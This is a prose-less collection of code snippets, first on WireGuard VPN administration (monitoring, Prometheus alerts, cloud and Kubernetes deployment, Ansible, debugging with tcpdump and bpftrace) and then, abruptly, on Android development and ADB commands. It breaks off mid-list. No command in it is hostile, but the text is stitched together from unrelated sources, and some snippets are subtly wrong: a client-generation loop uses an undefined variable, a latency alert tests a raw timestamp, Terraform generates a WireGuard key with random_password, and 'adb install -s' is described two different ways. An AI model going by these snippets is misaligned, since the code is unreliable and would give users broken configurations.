# Log connections
sudo journalctl -u wg-quick@wg0 -f

# Monitor bandwidth
watch -n 1 'sudo wg show wg0 transfer'

# Track handshakes
watch -n 5 'sudo wg show wg0 latest-handshakes'

# Audit configuration
sudo wg show all

# Download and install
wget https://github.com/MindFlavor/prometheus_wireguard_exporter/releases/latest/download/prometheus_wireguard_exporter
sudo mv prometheus_wireguard_exporter /usr/local/bin/
sudo chmod +x /usr/local/bin/prometheus_wireguard_exporter

# Create systemd service
sudo tee /etc/systemd/system/prometheus-wireguard-exporter.service <<EOF
[Unit]
Description=Prometheus WireGuard Exporter
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/prometheus_wireguard_exporter -n /etc/wireguard/wg0.conf
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

# Enable and start
sudo systemctl daemon-reload
sudo systemctl enable prometheus-wireguard-exporter
sudo systemctl start prometheus-wireguard-exporter

scrape_configs:
  - job_name: 'wireguard'
    static_configs:
      - targets: ['localhost:9586']
        labels:
          instance: 'wg-server-01'

{
  "dashboard": {
    "title": "WireGuard Monitoring",
    "panels": [
      {
        "title": "Active Connections",
        "targets": [{
          "expr": "count(time() - wireguard_latest_handshake_seconds < 300)"
        }]
      },
      {
        "title": "Traffic per Peer",
        "targets": [{
          "expr": "rate(wireguard_sent_bytes_total[5m])"
        }, {
          "expr": "rate(wireguard_received_bytes_total[5m])"
        }]
      },
      {
        "title": "Handshake Freshness",
        "targets": [{
          "expr": "(time() - wireguard_latest_handshake_seconds) / 60"
        }]
      }
    ]
  }
}

# Enable detailed logging
sudo mkdir -p /var/log/wireguard

# Create logging wrapper script
sudo tee /usr/local/bin/wg-quick-log <<'EOF'
#!/bin/bash
LOG_FILE="/var/log/wireguard/wg0.log"
ACTION=$1
INTERFACE=$2

{
    echo "$(date '+%Y-%m-%d %H:%M:%S') - Action: $ACTION, Interface: $INTERFACE"
    /usr/bin/wg-quick "$ACTION" "$INTERFACE" 2>&1
    echo "Exit code: $?"
} | tee -a "$LOG_FILE"
EOF

sudo chmod +x /usr/local/bin/wg-quick-log

# Modify systemd service to use wrapper
sudo systemctl edit wg-quick@wg0 --full
# Change ExecStart to: /usr/local/bin/wg-quick-log up %i

#!/bin/bash
# /usr/local/bin/wg-connection-logger.sh

INTERFACE="wg0"
LOG_FILE="/var/log/wireguard/connections.log"
CHECK_INTERVAL=60

declare -A last_handshakes

while true; do
    while IFS= read -r line; do
        peer_key=$(echo "$line" | awk '{print $1}')
        handshake_time=$(echo "$line" | awk '{print $2}')

        if [ "${last_handshakes[$peer_key]}" != "$handshake_time" ]; then
            echo "$(date '+%Y-%m-%d %H:%M:%S') - New handshake: $peer_key" >> "$LOG_FILE"
            last_handshakes[$peer_key]=$handshake_time
        fi
    done < <(sudo wg show "$INTERFACE" latest-handshakes)

    sleep "$CHECK_INTERVAL"
done

# /etc/prometheus/rules/wireguard.yml
groups:
  - name: wireguard
    interval: 30s
    rules:
      - alert: WireGuardPeerDown
        expr: (time() - wireguard_latest_handshake_seconds) > 300
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "WireGuard peer {{ $labels.public_key }} is down"
          description: "No handshake in last 5 minutes"

      - alert: WireGuardHighLatency
        expr: wireguard_latest_handshake_seconds > 180
        for: 10m
        labels:
          severity: info
        annotations:
          summary: "WireGuard peer {{ $labels.public_key }} high latency"

      - alert: WireGuardNoTraffic
        expr: rate(wireguard_received_bytes_total[5m]) == 0
        for: 15m
        labels:
          severity: info
        annotations:
          summary: "No traffic on peer {{ $labels.public_key }}"

#!/bin/bash
# /usr/local/bin/wg-health-check.sh

INTERFACE="wg0"
MAX_HANDSHAKE_AGE=300  # 5 minutes
EXIT_CODE=0

echo "WireGuard Health Check - $(date)"
echo "======================================"

# Check if interface exists
if ! ip link show "$INTERFACE" &>/dev/null; then
    echo "❌ Interface $INTERFACE does not exist"
    exit 1
fi

# Check if interface is up
if ! ip link show "$INTERFACE" | grep -q "UP"; then
    echo "❌ Interface $INTERFACE is down"
    exit 1
fi

echo "✓ Interface $INTERFACE is up"

# Check peers
CURRENT_TIME=$(date +%s)
PEER_COUNT=0
HEALTHY_PEERS=0

while IFS= read -r line; do
    PEER_COUNT=$((PEER_COUNT + 1))
    peer_key=$(echo "$line" | awk '{print $1}')
    handshake_time=$(echo "$line" | awk '{print $2}')

    if [ -z "$handshake_time" ] || [ "$handshake_time" -eq 0 ]; then
        echo "⚠ Peer ${peer_key:0:16}... never completed handshake"
        EXIT_CODE=1
        continue
    fi

    age=$((CURRENT_TIME - handshake_time))

    if [ "$age" -gt "$MAX_HANDSHAKE_AGE" ]; then
        echo "⚠ Peer ${peer_key:0:16}... handshake too old (${age}s ago)"
        EXIT_CODE=1
    else
        echo "✓ Peer ${peer_key:0:16}... healthy (handshake ${age}s ago)"
        HEALTHY_PEERS=$((HEALTHY_PEERS + 1))
    fi
done < <(sudo wg show "$INTERFACE" latest-handshakes)

echo ""
echo "Summary: $HEALTHY_PEERS/$PEER_COUNT peers healthy"

exit $EXIT_CODE

# Increase UDP buffer sizes
sudo sysctl -w net.core.rmem_max=26214400
sudo sysctl -w net.core.rmem_default=26214400
sudo sysctl -w net.core.wmem_max=26214400
sudo sysctl -w net.core.wmem_default=26214400
sudo sysctl -w net.core.netdev_max_backlog=2000

# Determine optimal MTU
# Standard Ethernet MTU: 1500
# WireGuard overhead: 60 bytes (IPv4) or 80 bytes (IPv6)
# Optimal MTU: 1420 (IPv4) or 1400 (IPv6)

# Set in configuration
# MTU = 1420

# Or manually
sudo ip link set mtu 1420 dev wg0

# Pin WireGuard to specific CPU cores (for high-throughput scenarios)
# Find WireGuard kernel threads
ps -eLo psr,pid,comm | grep wg

# Set CPU affinity
sudo taskset -cp 0,1 <wg_pid>

# Allow Docker containers to use WireGuard
docker run -it --rm \
  --cap-add=NET_ADMIN \
  --device=/dev/net/tun \
  -v /path/to/wg0.conf:/etc/wireguard/wg0.conf \
  alpine sh -c "apk add wireguard-tools && wg-quick up wg0 && sh"

# Import WireGuard connection
sudo nmcli connection import type wireguard file /etc/wireguard/wg0.conf

# Activate connection
sudo nmcli connection up wg0

# Deactivate connection
sudo nmcli connection down wg0

[NetDev]
Name=wg0
Kind=wireguard
Description=WireGuard tunnel wg0

[WireGuard]
PrivateKey=<private_key>
ListenPort=51820

[WireGuardPeer]
PublicKey=<peer_public_key>
AllowedIPs=10.0.0.2/32
Endpoint=peer.example.com:51820
PersistentKeepalive=25

[Match]
Name=wg0

[Network]
Address=10.0.0.1/24

[Route]
Gateway=10.0.0.1
Destination=10.0.0.0/24

sudo systemctl enable systemd-networkd
sudo systemctl restart systemd-networkd

# Launch EC2 instance (Amazon Linux 2 or Ubuntu)
# Security Group: Allow UDP 51820 inbound

# Install WireGuard
sudo amazon-linux-extras install epel -y
sudo yum install wireguard-tools -y

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf

# Disable source/dest check on EC2 instance (AWS Console)

[Interface]
PrivateKey = <aws_private_key>
Address = 10.0.0.1/24
ListenPort = 51820
# Route VPC traffic through tunnel
PostUp = ip route add 172.31.0.0/16 dev wg0
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT
PostUp = iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT
PostDown = iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE

[Peer]
PublicKey = <onprem_public_key>
AllowedIPs = 10.0.0.2/32, 192.168.1.0/24
PersistentKeepalive = 25

resource "aws_instance" "wireguard" {
  ami           = data.aws_ami.ubuntu.id
  instance_type = "t3.micro"
  key_name      = var.key_name
  subnet_id     = aws_subnet.public.id

  vpc_security_group_ids = [aws_security_group.wireguard.id]
  source_dest_check      = false

  user_data = <<-EOF
    #!/bin/bash
    apt update
    apt install -y wireguard
    # Configuration deployment...
  EOF

  tags = {
    Name = "wireguard-gateway"
  }
}

resource "aws_security_group" "wireguard" {
  name        = "wireguard-sg"
  description = "WireGuard VPN"
  vpc_id      = aws_vpc.main.id

  ingress {
    from_port   = 51820
    to_port     = 51820
    protocol    = "udp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

# Create firewall rule
gcloud compute firewall-rules create wireguard-allow \
  --allow=udp:51820 \
  --source-ranges=0.0.0.0/0 \
  --description="Allow WireGuard VPN"

# Create instance
gcloud compute instances create wireguard-gateway \
  --machine-type=e2-micro \
  --image-family=ubuntu-2204-lts \
  --image-project=ubuntu-os-cloud \
  --can-ip-forward \
  --tags=wireguard

# SSH and install
gcloud compute ssh wireguard-gateway
sudo apt update && sudo apt install -y wireguard

# Create VM with Azure CLI
az vm create \
  --resource-group myResourceGroup \
  --name wireguard-vm \
  --image UbuntuLTS \
  --size Standard_B1s \
  --admin-username azureuser \
  --generate-ssh-keys

# Enable IP forwarding
az network nic update \
  --resource-group myResourceGroup \
  --name wireguard-vmVMNic \
  --ip-forwarding true

# Add NSG rule
az network nsg rule create \
  --resource-group myResourceGroup \
  --nsg-name wireguard-vmNSG \
  --name AllowWireGuard \
  --priority 1000 \
  --protocol Udp \
  --destination-port-range 51820 \
  --access Allow

# Add WireGuard CNI chart
helm repo add wiretrustee https://wiretrustee.github.io/helm-charts
helm repo update

# Install
helm install wireguard-cni wiretrustee/wireguard-cni \
  --namespace kube-system \
  --set subnet=10.244.0.0/16

# wireguard-daemonset.yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: wireguard
  namespace: kube-system
spec:
  selector:
    matchLabels:
      app: wireguard
  template:
    metadata:
      labels:
        app: wireguard
    spec:
      hostNetwork: true
      containers:
      - name: wireguard
        image: linuxserver/wireguard:latest
        securityContext:
          privileged: true
          capabilities:
            add:
              - NET_ADMIN
              - SYS_MODULE
        env:
        - name: PUID
          value: "1000"
        - name: PGID
          value: "1000"
        volumeMounts:
        - name: config
          mountPath: /config
        - name: lib-modules
          mountPath: /lib/modules
          readOnly: true
      volumes:
      - name: config
        configMap:
          name: wireguard-config
      - name: lib-modules
        hostPath:
          path: /lib/modules

apiVersion: v1
kind: ConfigMap
metadata:
  name: wireguard-config
  namespace: kube-system
data:
  wg0.conf: |
    [Interface]
    PrivateKey = <node_private_key>
    Address = 10.0.0.x/24
    ListenPort = 51820

    [Peer]
    PublicKey = <peer_public_key>
    AllowedIPs = 10.0.0.0/24
    Endpoint = peer.example.com:51820
    PersistentKeepalive = 25

# Pod annotation for WireGuard routing
apiVersion: v1
kind: Pod
metadata:
  name: secure-app
  annotations:
    wireguard.io/tunnel: "wg0"
spec:
  containers:
  - name: app
    image: myapp:latest

#!/bin/bash
# qr-gen.sh

CLIENT_NAME=$1
CONFIG_FILE="/etc/wireguard/clients/${CLIENT_NAME}.conf"

if [ ! -f "$CONFIG_FILE" ]; then
    echo "Config file not found: $CONFIG_FILE"
    exit 1
fi

# Install qrencode if needed
if ! command -v qrencode &> /dev/null; then
    sudo apt install -y qrencode
fi

# Generate QR code
qrencode -t ansiutf8 < "$CONFIG_FILE"

# Or save to file
qrencode -t PNG -o "${CLIENT_NAME}.png" < "$CONFIG_FILE"
echo "QR code saved to ${CLIENT_NAME}.png"

#!/bin/bash
# ios-profile-gen.sh

CLIENT_NAME=$1
PROFILE_UUID=$(uuidgen)

cat > "${CLIENT_NAME}.mobileconfig" <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>PayloadContent</key>
    <array>
        <dict>
            <key>PayloadType</key>
            <string>com.wireguard.ios.config</string>
            <key>PayloadUUID</key>
            <string>${PROFILE_UUID}</string>
            <key>PayloadIdentifier</key>
            <string>com.example.wireguard.${CLIENT_NAME}</string>
            <key>PayloadVersion</key>
            <integer>1</integer>
        </dict>
    </array>
    <key>PayloadDisplayName</key>
    <string>WireGuard - ${CLIENT_NAME}</string>
    <key>PayloadIdentifier</key>
    <string>com.example.wireguard</string>
    <key>PayloadUUID</key>
    <string>${PROFILE_UUID}</string>
    <key>PayloadType</key>
    <string>Configuration</string>
    <key>PayloadVersion</key>
    <integer>1</integer>
</dict>
</plist>
EOF

# Generate Tunnels.zip for WireGuard Android app
zip wireguard-configs.zip /etc/wireguard/clients/*.conf

# Or use wg-quick to generate configs
for client in client1 client2 client3; do
    # Generate config with wg-quick format
    cat > "${client}.conf" <<EOF
[Interface]
PrivateKey = $(wg genkey)
Address = 10.0.0.${i}/24
DNS = 1.1.1.1

[Peer]
PublicKey = ${SERVER_PUBLIC_KEY}
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.example.com:51820
PersistentKeepalive = 25
EOF
done

# wireguard-deploy.yml
---
- name: Deploy WireGuard VPN
  hosts: vpn_servers
  become: yes
  vars:
    wg_interface: wg0
    wg_port: 51820
    wg_network: 10.0.0.0/24

  tasks:
    - name: Install WireGuard
      apt:
        name:
          - wireguard
          - wireguard-tools
        state: present
        update_cache: yes

    - name: Enable IP forwarding
      sysctl:
        name: net.ipv4.ip_forward
        value: '1'
        sysctl_set: yes
        state: present
        reload: yes

    - name: Generate private key
      shell: wg genkey
      register: private_key
      changed_when: false
      no_log: true

    - name: Generate public key
      shell: echo "{{ private_key.stdout }}" | wg pubkey
      register: public_key
      changed_when: false

    - name: Create WireGuard config directory
      file:
        path: /etc/wireguard
        state: directory
        mode: '0700'

    - name: Deploy WireGuard configuration
      template:
        src: templates/wg0.conf.j2
        dest: /etc/wireguard/wg0.conf
        mode: '0600'
      notify: restart wireguard

    - name: Enable WireGuard service
      systemd:
        name: wg-quick@wg0
        enabled: yes
        state: started

  handlers:
    - name: restart wireguard
      systemd:
        name: wg-quick@wg0
        state: restarted

[Interface]
PrivateKey = {{ private_key.stdout }}
Address = {{ ansible_default_ipv4.address }}/24
ListenPort = {{ wg_port }}
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE

{% for peer in wg_peers %}
[Peer]
PublicKey = {{ peer.public_key }}
AllowedIPs = {{ peer.allowed_ips }}
{% if peer.endpoint is defined %}
Endpoint = {{ peer.endpoint }}
{% endif %}
PersistentKeepalive = 25
{% endfor %}

# modules/wireguard/main.tf
terraform {
  required_providers {
    random = {
      source  = "hashicorp/random"
      version = "~> 3.0"
    }
  }
}

resource "random_password" "wg_private_key" {
  length  = 32
  special = true
}

resource "null_resource" "wireguard_keys" {
  provisioner "local-exec" {
    command = <<-EOT
      wg genkey | tee privatekey | wg pubkey > publickey
    EOT
  }
}

output "public_key" {
  value = file("publickey")
}

# List current OpenVPN clients
ls -l /etc/openvpn/clients/

# Document network topology
cat /etc/openvpn/server.conf | grep -E "server|route|push"

#!/bin/bash
# openvpn-to-wireguard.sh

OPENVPN_SERVER_CONF="/etc/openvpn/server.conf"
WG_CONFIG="/etc/wireguard/wg0.conf"

# Extract OpenVPN network
OVPN_NETWORK=$(grep "^server " "$OPENVPN_SERVER_CONF" | awk '{print $2}')
OVPN_NETMASK=$(grep "^server " "$OPENVPN_SERVER_CONF" | awk '{print $3}')

# Generate WireGuard server config
cat > "$WG_CONFIG" <<EOF
[Interface]
PrivateKey = $(wg genkey)
Address = ${OVPN_NETWORK}/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i %i -j ACCEPT
PostDown = iptables -D FORWARD -i %i -j ACCEPT
EOF

echo "WireGuard server config created at $WG_CONFIG"
echo "OpenVPN network: $OVPN_NETWORK/$OVPN_NETMASK"

# Keep OpenVPN running
sudo systemctl status openvpn@server

# Start WireGuard on different port
sudo wg-quick up wg0

# Monitor both
watch -n 5 'echo "=== OpenVPN ==="; sudo systemctl status openvpn@server; echo "=== WireGuard ==="; sudo wg show'

# Migrate one client at a time
# 1. Generate WireGuard config
# 2. Test connection
# 3. Remove from OpenVPN
# 4. Monitor for issues

# After all clients migrated
sudo systemctl stop openvpn@server
sudo systemctl disable openvpn@server

conn site-to-site
    left=192.0.2.1
    leftsubnet=10.1.0.0/16
    right=198.51.100.1
    rightsubnet=10.2.0.0/16
    ike=aes256-sha2_256-modp2048!
    esp=aes256-sha2_256!
    keyexchange=ikev2
    auto=start

# Site A
[Interface]
PrivateKey = <site_a_key>
Address = 10.0.0.1/24
ListenPort = 51820

[Peer]
PublicKey = <site_b_key>
AllowedIPs = 10.2.0.0/16, 10.0.0.2/32
Endpoint = 198.51.100.1:51820

# Capture on physical interface (encrypted)
sudo tcpdump -i eth0 -n udp port 51820 -w wireguard-encrypted.pcap

# Capture on WireGuard interface (decrypted)
sudo tcpdump -i wg0 -n -w wireguard-decrypted.pcap

# Analyze with Wireshark
wireshark wireguard-encrypted.pcap

# WireGuard handshake packets
udp.port == 51820 && udp.length == 148

# WireGuard data packets
udp.port == 51820 && udp.length > 148

# Filter by endpoint
ip.addr == 203.0.113.1 && udp.port == 51820

# Install bpftrace
sudo apt install bpftrace

# Trace WireGuard packet processing
sudo bpftrace -e '
kprobe:wg_packet_receive {
    printf("RX packet on wg, size: %d\n", arg1);
}

kprobe:wg_packet_send {
    printf("TX packet on wg, size: %d\n", arg1);
}
'

# Trace handshakes
sudo bpftrace -e '
kprobe:wg_noise_handshake_create_initiation {
    printf("Initiating handshake\n");
}

kprobe:wg_noise_handshake_consume_response {
    printf("Consuming handshake response\n");
}
'

# Use perf to profile WireGuard
sudo perf record -g -p $(pgrep kworker/.*wg-crypt)
# Generate load, then:
sudo perf report

# Profile specific functions
sudo perf record -e cycles -g -- sleep 30
sudo perf report --sort comm,dso,symbol | grep wireguard

#!/bin/bash
# wg-latency-test.sh

PEER_IP="10.0.0.2"
SAMPLES=1000

echo "Testing WireGuard latency ($SAMPLES samples)..."

ping -c "$SAMPLES" -i 0.01 "$PEER_IP" | tee ping-results.txt

# Calculate statistics
awk '/^rtt/ {
    split($4, values, "/");
    printf "Min: %.2f ms\n", values[1];
    printf "Avg: %.2f ms\n", values[2];
    printf "Max: %.2f ms\n", values[3];
    printf "StdDev: %.2f ms\n", values[4];
}' ping-results.txt

# Server side (run iperf3 server through tunnel)
iperf3 -s -B 10.0.0.1

# Client side
iperf3 -c 10.0.0.1 -t 60 -i 1

# Bidirectional test
iperf3 -c 10.0.0.1 -t 60 -i 1 --bidir

# UDP throughput
iperf3 -c 10.0.0.1 -t 60 -u -b 1G

# Check current debug level
cat /sys/kernel/debug/dynamic_debug/control | grep wireguard

# Enable all WireGuard debug messages
echo 'module wireguard +p' | sudo tee /sys/kernel/debug/dynamic_debug/control

# View logs
sudo dmesg -w | grep wireguard

# Disable when done
echo 'module wireguard -p' | sudo tee /sys/kernel/debug/dynamic_debug/control

# Check routing for specific destination
ip route get 10.0.0.2

# Show all routes in WireGuard table
ip route show table all | grep wg0

# Trace packet path
sudo mtr --report 10.0.0.2

# Check policy routing
ip rule show

# Key generation
wg genkey | tee privatekey | wg pubkey > publickey

# Interface management
sudo wg-quick up wg0
sudo wg-quick down wg0

# Show status
sudo wg show
sudo wg show wg0

# Add peer
sudo wg set wg0 peer <pubkey> allowed-ips 10.0.0.2/32

# Remove peer
sudo wg set wg0 peer <pubkey> remove

# Reload configuration
sudo wg syncconf wg0 <(wg-quick strip wg0)

[Interface]
PrivateKey = <base64_private_key>
Address = <interface_ip>/24
ListenPort = 51820
DNS = 1.1.1.1

[Peer]
PublicKey = <base64_public_key>
AllowedIPs = <allowed_cidr>
Endpoint = <hostname_or_ip>:51820
PersistentKeepalive = 25

# Download Android Studio from https://developer.android.com/studio
# Install Android Studio and SDK through the setup wizard

# Verify installation
adb --version

// MainActivity.kt
package com.example.myfirstapp

import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import android.widget.TextView

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        val textView: TextView = findViewById(R.id.textView)
        textView.text = "Hello, Android!"
    }
}

<!-- res/layout/activity_main.xml -->
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:gravity="center">

    <TextView
        android:id="@+id/textView"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Hello World!"
        android:textSize="24sp" />

</LinearLayout>

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.myfirstapp">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/Theme.AppCompat">

        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

    <!-- Permissions -->
    <uses-permission android:name="android.permission.INTERNET" />
</manifest>

class MyActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        // Initialize activity
        setContentView(R.layout.activity_my)
    }

    override fun onStart() {
        super.onStart()
        // Activity is becoming visible
    }

    override fun onResume() {
        super.onResume()
        // Activity is interactive
    }

    override fun onPause() {
        super.onPause()
        // Activity is losing focus
    }

    override fun onStop() {
        super.onStop()
        // Activity is no longer visible
    }

    override fun onDestroy() {
        super.onDestroy()
        // Activity is being destroyed
    }
}

// Explicit Intent - Start specific activity
val intent = Intent(this, SecondActivity::class.java)
intent.putExtra("KEY_NAME", "value")
startActivity(intent)

// Implicit Intent - Let system find appropriate component
val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse("https://www.example.com"))
startActivity(browserIntent)

// Share content
val shareIntent = Intent().apply {
    action = Intent.ACTION_SEND
    putExtra(Intent.EXTRA_TEXT, "Check out this content!")
    type = "text/plain"
}
startActivity(Intent.createChooser(shareIntent, "Share via"))

// Programmatically create UI
val layout = LinearLayout(this).apply {
    orientation = LinearLayout.VERTICAL
    layoutParams = LinearLayout.LayoutParams(
        LinearLayout.LayoutParams.MATCH_PARENT,
        LinearLayout.LayoutParams.MATCH_PARENT
    )
}

val button = Button(this).apply {
    text = "Click Me"
    setOnClickListener {
        Toast.makeText(context, "Button clicked!", Toast.LENGTH_SHORT).show()
    }
}

layout.addView(button)
setContentView(layout)

// Adapter
class MyAdapter(private val items: List<String>) : 
    RecyclerView.Adapter<MyAdapter.ViewHolder>() {

    class ViewHolder(view: View) : RecyclerView.ViewHolder(view) {
        val textView: TextView = view.findViewById(R.id.textView)
    }

    override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
        val view = LayoutInflater.from(parent.context)
            .inflate(R.layout.item_layout, parent, false)
        return ViewHolder(view)
    }

    override fun onBindViewHolder(holder: ViewHolder, position: Int) {
        holder.textView.text = items[position]
    }

    override fun getItemCount() = items.size
}

// Usage in Activity
val recyclerView: RecyclerView = findViewById(R.id.recyclerView)
recyclerView.layoutManager = LinearLayoutManager(this)
recyclerView.adapter = MyAdapter(listOf("Item 1", "Item 2", "Item 3"))

// Save data
val sharedPref = getSharedPreferences("MyPrefs", Context.MODE_PRIVATE)
with(sharedPref.edit()) {
    putString("username", "john_doe")
    putInt("score", 100)
    apply()
}

// Read data
val username = sharedPref.getString("username", "default")
val score = sharedPref.getInt("score", 0)

// Entity
@Entity(tableName = "users")
data class User(
    @PrimaryKey(autoGenerate = true) val id: Int = 0,
    @ColumnInfo(name = "name") val name: String,
    @ColumnInfo(name = "email") val email: String
)

// DAO
@Dao
interface UserDao {
    @Query("SELECT * FROM users")
    fun getAllUsers(): List<User>

    @Insert
    fun insert(user: User)

    @Delete
    fun delete(user: User)
}

// Database
@Database(entities = [User::class], version = 1)
abstract class AppDatabase : RoomDatabase() {
    abstract fun userDao(): UserDao
}

// API Interface
interface ApiService {
    @GET("users/{id}")
    suspend fun getUser(@Path("id") userId: Int): User

    @POST("users")
    suspend fun createUser(@Body user: User): User
}

// Implementation
val retrofit = Retrofit.Builder()
    .baseUrl("https://api.example.com/")
    .addConverterFactory(GsonConverterFactory.create())
    .build()

val apiService = retrofit.create(ApiService::class.java)

// Usage with Coroutines
lifecycleScope.launch {
    try {
        val user = apiService.getUser(1)
        // Update UI with user data
    } catch (e: Exception) {
        // Handle error
    }
}

@Composable
fun Greeting(name: String) {
    Text(
        text = "Hello $name!",
        modifier = Modifier.padding(16.dp),
        style = MaterialTheme.typography.h4
    )
}

@Composable
fun Counter() {
    var count by remember { mutableStateOf(0) }

    Column(
        modifier = Modifier.fillMaxSize(),
        horizontalAlignment = Alignment.CenterHorizontally,
        verticalArrangement = Arrangement.Center
    ) {
        Text("Count: $count")
        Button(onClick = { count++ }) {
            Text("Increment")
        }
    }
}

class MyViewModel : ViewModel() {
    private val _uiState = MutableLiveData<UiState>()
    val uiState: LiveData<UiState> = _uiState

    fun loadData() {
        viewModelScope.launch {
            try {
                val data = repository.getData()
                _uiState.value = UiState.Success(data)
            } catch (e: Exception) {
                _uiState.value = UiState.Error(e.message)
            }
        }
    }
}

// Usage in Activity
class MainActivity : AppCompatActivity() {
    private val viewModel: MyViewModel by viewModels()

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        viewModel.uiState.observe(this) { state ->
            when (state) {
                is UiState.Success -> updateUI(state.data)
                is UiState.Error -> showError(state.message)
            }
        }
    }
}

class CalculatorTest {
    @Test
    fun addition_isCorrect() {
        assertEquals(4, 2 + 2)
    }

    @Test
    fun viewModel_loadsData() = runTest {
        val viewModel = MyViewModel(FakeRepository())
        viewModel.loadData()

        val state = viewModel.uiState.value
        assertTrue(state is UiState.Success)
    }
}

@RunWith(AndroidJUnit4::class)
class MainActivityTest {
    @get:Rule
    val activityRule = ActivityScenarioRule(MainActivity::class.java)

    @Test
    fun testButtonClick() {
        onView(withId(R.id.button))
            .perform(click())

        onView(withId(R.id.textView))
            .check(matches(withText("Button clicked!")))
    }
}

plugins {
    id 'com.android.application'
    id 'org.jetbrains.kotlin.android'
}

android {
    namespace 'com.example.myapp'
    compileSdk 34

    defaultConfig {
        applicationId "com.example.myapp"
        minSdk 24
        targetSdk 34
        versionCode 1
        versionName "1.0"
    }

    buildTypes {
        release {
            minifyEnabled true
            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
        }
    }

    compileOptions {
        sourceCompatibility JavaVersion.VERSION_1_8
        targetCompatibility JavaVersion.VERSION_1_8
    }
}

dependencies {
    implementation 'androidx.core:core-ktx:1.12.0'
    implementation 'androidx.appcompat:appcompat:1.6.1'
    implementation 'com.google.android.material:material:1.11.0'

    testImplementation 'junit:junit:4.13.2'
    androidTestImplementation 'androidx.test.ext:junit:1.1.5'
}

# Clear Gradle cache
./gradlew clean
# Invalidate caches in Android Studio: File > Invalidate Caches / Restart

Client Process          Binder Driver         Server Process
    │                        │                       │
    │──Service Request──────>│                       │
    │                        │──Forward Request────>│
    │                        │<──Response───────────│
    │<──Return Result────────│                       │

// ICalculator.aidl
package com.example;

interface ICalculator {
    int add(int a, int b);
    int subtract(int a, int b);
}

// CalculatorService.java
public class CalculatorService extends Service {
    private final ICalculator.Stub binder = new ICalculator.Stub() {
        @Override
        public int add(int a, int b) {
            return a + b;
        }

        @Override
        public int subtract(int a, int b) {
            return a - b;
        }
    };

    @Override
    public IBinder onBind(Intent intent) {
        return binder;
    }
}

// Client code
ServiceConnection connection = new ServiceConnection() {
    public void onServiceConnected(ComponentName name, IBinder service) {
        ICalculator calculator = ICalculator.Stub.asInterface(service);
        int result = calculator.add(5, 3);  // Result: 8
    }

    public void onServiceDisconnected(ComponentName name) {
        // Handle disconnection
    }
};

bindService(intent, connection, Context.BIND_AUTO_CREATE);

# Install via Android SDK Platform Tools
# Or use package manager
sudo apt install adb  # Ubuntu/Debian
brew install android-platform-tools  # macOS

# Verify installation
adb version

# Download Android SDK Platform Tools from:
# https://developer.android.com/studio/releases/platform-tools

# Add to PATH and verify
adb version

# List connected devices
adb devices

# Output example:
# List of devices attached
# 1234567890ABCDEF    device
# emulator-5554       device

# Connect to specific device
adb -s 1234567890ABCDEF shell

# Connect device via USB first, then:
# Get device IP address
adb shell ip addr show wlan0

# Enable TCP/IP mode on port 5555
adb tcpip 5555

# Disconnect USB and connect via WiFi
adb connect 192.168.1.100:5555

# Verify connection
adb devices

# Disconnect
adb disconnect 192.168.1.100:5555

# Return to USB mode
adb usb

# List all connected devices
adb devices -l

# Start ADB server
adb start-server

# Kill ADB server
adb kill-server

# Restart ADB server
adb kill-server && adb start-server

# Wait for device to be connected
adb wait-for-device

# Get device state
adb get-state

# Get device serial number
adb get-serialno

# Get device model
adb shell getprop ro.product.model

# Get Android version
adb shell getprop ro.build.version.release

# Get device manufacturer
adb shell getprop ro.product.manufacturer

# Get device serial number
adb shell getprop ro.serialno

# Get device resolution
adb shell wm size

# Get device density
adb shell wm density

# Display all properties
adb shell getprop

# Get battery status
adb shell dumpsys battery

# Get CPU information
adb shell cat /proc/cpuinfo

# Get memory information
adb shell cat /proc/meminfo

# Install APK
adb install app.apk

# Install APK to specific location
adb install -s /sdcard/app.apk

# Reinstall existing app (keep data)
adb install -r app.apk

# Install APK to SD card
adb install -s app.apk

# Uninstall app
adb uninstall com.example.app

# Uninstall app but keep data
adb uninstall -k com.example.app

# List all packages
adb shell pm list packages

# List third-party packages
adb shell pm list packages -3

# List system packages
